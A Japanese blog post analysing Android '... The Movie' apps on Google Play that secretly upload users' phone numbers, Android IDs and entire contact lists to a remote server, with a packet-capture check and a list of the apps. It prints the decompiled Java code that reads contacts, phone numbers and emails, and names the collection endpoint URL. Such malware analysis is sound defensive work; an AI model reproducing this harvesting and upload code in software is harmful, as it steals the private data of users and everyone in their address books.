TSUNAKAN hack

またまた来ました大変なことをしてくれるAndroidアプリ。



ヘンなアプリに要注意! データぶっこ抜きアプリか?Google playに不審なアプリが出回る - ライブドアニュース

ITライフハック



なんとか The Movieという名前がつくのが今回のアプリの特徴です。内容はそのアプリを動かした動画が見られます。


結果から言いますと、このアプリは、アプリを実行した電話の電話番号とAndroid_ID
自分の名前、電話帳に登録してある人すべての名前とメールアドレスをこの人のサーバにアップロードしてしまいます。


これらのアプリの総ダウンロード数GooglePlayの表示を足すと、66,600〜271,500。ダウンロードした人たちの連絡先に平均50人入っているとして、3,330,000〜13,575,000人という、とてつもない人数の個人情報が集まっているのではないかということです。



パケットキャプチャは真実を発見するということで、解析してみました。

今回は、androidと言うことで、やっていることはまるわかり2つのアプローチから送信内容を確認します。


  1. ソースコードを見てみよう

Androidアプリはjavaで書かれていることが多いので、無線LAN環境で常にパケットキャプチャされているので、そこに、PacketBlackHole があって、Androidアプリや、iPhoneアプリのダウンロードした実体が容易に入手出来る環境になっています。ダウンロードしたアプリをゴニョニョするとJavaソースコードの形で中身が見られます。

問題の箇所は MainActivity.classで

送信先

final String url = "http://depot.bulks.jp/get37.php";


public void onCreate(Bundle paramBundle)クラス内を引用しました。

  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    requestWindowFeature(1);
    this.androidid = Settings.Secure.getString(getContentResolver(), "android_id");
    this.tel = ((TelephonyManager)getSystemService("phone")).getLine1Number();
    Cursor localCursor1 = managedQuery(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
    if (!localCursor1.moveToNext())
    {
      localCursor1.close();
      exec_post(this.androidid, this.tel, this.data);
      return;
    }
    this.id = localCursor1.getString(localCursor1.getColumnIndex("_id"));
    this.name = localCursor1.getString(localCursor1.getColumnIndex("display_name"));
    this.data = (this.data + "name:" + this.name);
    Cursor localCursor2 = managedQuery(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + this.id, null, null);
    label184: Cursor localCursor3;
    if (!localCursor2.moveToNext())
    {
      localCursor2.close();
      localCursor3 = managedQuery(ContactsContract.CommonDataKinds.Email.CONTENT_URI, null, "contact_id = " + this.id, null, null);
    }
    while (true)
    {
      if (!localCursor3.moveToNext())
      {
        localCursor3.close();
        this.data += "\n";
        break;
        String str = localCursor2.getString(localCursor2.getColumnIndex("data1"));
        this.data = (this.data + "\ttel:" + str);
        break label184;
      }
      this.email = localCursor3.getString(localCursor3.getColumnIndex("data1"));
      this.data = (this.data + "\temail:" + this.email);
    }
  }
}

ソースを読むと、getSystemService("phone")).getLine1Number(); という部分で。電話番号を取得、managedQuery(ContactsContract.CommonDataKinds.Phone. の部分で電話帳をよんでWebで送ろうとしています。怖いですね。ダウンロード数から推計するとこんなアプリで数万人以上の個人情報が抜けてしまっているのです。

  1. パケットを見てみよう(ただし安全に)

パケットを見てみたいのですが、安全にやるために、プログラムを改変して、社内のサーバにデータを送るようにしました。これで安心して実行できます。更に安全に行うために、Androidエミュレータを用意しその環境で実行しました。


http://www.packetblackhole.jp/pbhc.html


PCでこのPacketBlackHole Probeをつかって常にパケットをとっていますので、あとは探すだけです。wiresharkですとこんな感じに見えます。まさに先ほどのソースでやっていたことが実際に見えるわけです。

ソースコードhttps://play.google.com/store/apps/details?id=jp.nikonikodougamatome&feature=search_result から引用させていただいています。

  1. 該当アプリの一覧

TSUNAKAN - Google Play の Android アプリ

hamnaruka - Google Play の Android アプリ

綾乃, Android用アプリケーション/ゲームのコメント, AndroLib, Android用アプリケーション/ゲーム